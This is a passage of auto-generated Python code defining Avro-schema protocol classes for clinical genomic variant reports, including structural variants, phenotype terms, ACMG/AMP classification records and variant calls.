"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""},
{"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""},
{"name": "variantClassification", "type": ["null", {"type": "record", "name":
"VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null",
{"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign",
"likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name":
"drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name":
"traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols":
["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc":
""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name":
"TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""},
{"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect",
"symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant",
"loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""},
{"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name":
"GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification",
"type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields":
[{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name":
"AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment",
"type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type":
"record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type":
{"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name":
"type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type",
"therapies", "variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc":
""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name":
"algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc":
""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null",
"int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name":
"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA",
"TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain",
"symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""},
{"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes",
"doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type":
"map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record",
"name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""},
{"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name":
"alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name":
"population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc":
""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array",
"items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name":
"recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null",
"float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}],
"doc": ""}]}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"reportEvents",
"variantAttributes",
"variantCalls",
"variantCoordinates",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'reportEvents': ReportEvent,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
'variantCoordinates': VariantCoordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'reportEvents': ReportEvent,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
'variantCoordinates': VariantCoordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'reportEvents', 'variantAttributes', 'variantCalls',
'variantCoordinates'
]
def __init__(self, **kwargs):
self.reportEvents = kwargs.get(
'reportEvents', None)
self.variantAttributes = kwargs.get(
'variantAttributes', None)
self.variantCalls = kwargs.get(
'variantCalls', None)
self.variantCoordinates = kwargs.get(
'variantCoordinates', VariantCoordinates())
class SpatialPattern(object):
"""
No documentation
"""
DISTAL = "DISTAL"
GENERALIZED = "GENERALIZED"
LOCALIZED = "LOCALIZED"
PROXIMAL = "PROXIMAL"
def __hash__(self):
return str(self).__hash__()
class StandardPhenotype(ProtocolElement):
"""
Standard phenotype term based on the OBO format (see an example
here http://snapshot.geneontology.org/ontology/go-basic.obo)
"""
_schemaSource = """
{"type": "record", "name": "StandardPhenotype", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]},
{"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null",
"string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type":
["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type":
["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "",
"fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""},
{"name": "matchScore", "type": ["null", "float"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"alternativeIds",
"comment",
"definition",
"id",
"isA",
"matchScore",
"name",
"namespace",
"ontology",
"synonyms",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'ontology': Ontology,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'ontology': Ontology,
}
return embeddedTypes[fieldName]
__slots__ = [
'alternativeIds', 'comment', 'definition', 'id', 'isA',
'matchScore', 'name', 'namespace', 'ontology', 'synonyms'
]
def __init__(self, **kwargs):
self.alternativeIds = kwargs.get(
'alternativeIds', None)
self.comment = kwargs.get(
'comment', None)
self.definition = kwargs.get(
'definition', None)
self.id = kwargs.get(
'id', None)
self.isA = kwargs.get(
'isA', None)
self.matchScore = kwargs.get(
'matchScore', None)
self.name = kwargs.get(
'name', None)
self.namespace = kwargs.get(
'namespace', None)
self.ontology = kwargs.get(
'ontology', Ontology())
self.synonyms = kwargs.get(
'synonyms', None)
class StructuralVariant(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "StructuralVariant", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "variantType", "type": {"type": "enum", "name": "StructuralVariantType", "symbols":
["ins", "dup", "inv", "amplification", "deletion", "dup_tandem", "del_me", "ins_me"]}, "doc": ""},
{"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name":
"assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38",
"GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name":
"end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name":
"ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type":
"int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "leftInsSeq",
"type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}, {"name":
"reportEvents", "type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc":
"", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes",
"type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name":
"nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name",
"type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name":
"definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name":
"alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]},
{"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name":
"Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type":
"string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc":
""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type":
"record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string",
"doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name":
"genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name":
"panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null",
"string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name":
"source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance",
"type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic",
"monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted",
"biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic",
"xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name":
"genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity",
"doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc":
"", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion",
"genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"],
"doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields":
[{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc":
""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum",
"name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive",
"CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant",
"InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted",
"XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic",
"MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum",
"name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols":
["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"],
"doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name":
"groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type":
["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items":
{"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene",
"both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions",
"doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name":
"studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"],
"doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name":
"title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum",
"name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2",
"phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields":
[{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "",
"symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""},
{"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""},
{"name": "variantClassification", "type": ["null", {"type": "record", "name":
"VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null",
{"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign",
"likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name":
"drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name":
"traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols":
["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc":
""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name":
"TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""},
{"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect",
"symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant",
"loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""},
{"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name":
"GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification",
"type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields":
[{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name":
"AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment",
"type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type":
"record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type":
{"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name":
"type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type",
"therapies", "variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc":
""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name":
"algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc":
""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null",
"int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name":
"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA",
"TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain",
"symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}}, {"name":
"variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc":
"", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type":
"string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "",
"symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record",
"name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type":
["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null",
{"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null",
{"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null",
"string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc":
""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name":
"alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name":
"population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc":
""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array",
"items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name":
"recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null",
"float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}],
"doc": ""}]}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"coordinates",
"leftInsSeq",
"reportEvents",
"rightInsSeq",
"variantAttributes",
"variantCalls",
"variantType",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
'reportEvents': ReportEvent,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
'reportEvents': ReportEvent,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
}
return embeddedTypes[fieldName]
__slots__ = [
'coordinates', 'leftInsSeq', 'reportEvents', 'rightInsSeq',
'variantAttributes', 'variantCalls', 'variantType'
]
def __init__(self, **kwargs):
self.coordinates = kwargs.get(
'coordinates', Coordinates())
self.leftInsSeq = kwargs.get(
'leftInsSeq', None)
self.reportEvents = kwargs.get(
'reportEvents', None)
self.rightInsSeq = kwargs.get(
'rightInsSeq', None)
self.variantAttributes = kwargs.get(
'variantAttributes', None)
self.variantCalls = kwargs.get(
'variantCalls', None)
self.variantType = kwargs.get(
'variantType', None)
class StructuralVariantType(object):
"""
No documentation
"""
ins = "ins"
dup = "dup"
inv = "inv"
amplification = "amplification"
deletion = "deletion"
dup_tandem = "dup_tandem"
del_me = "del_me"
ins_me = "ins_me"
def __hash__(self):
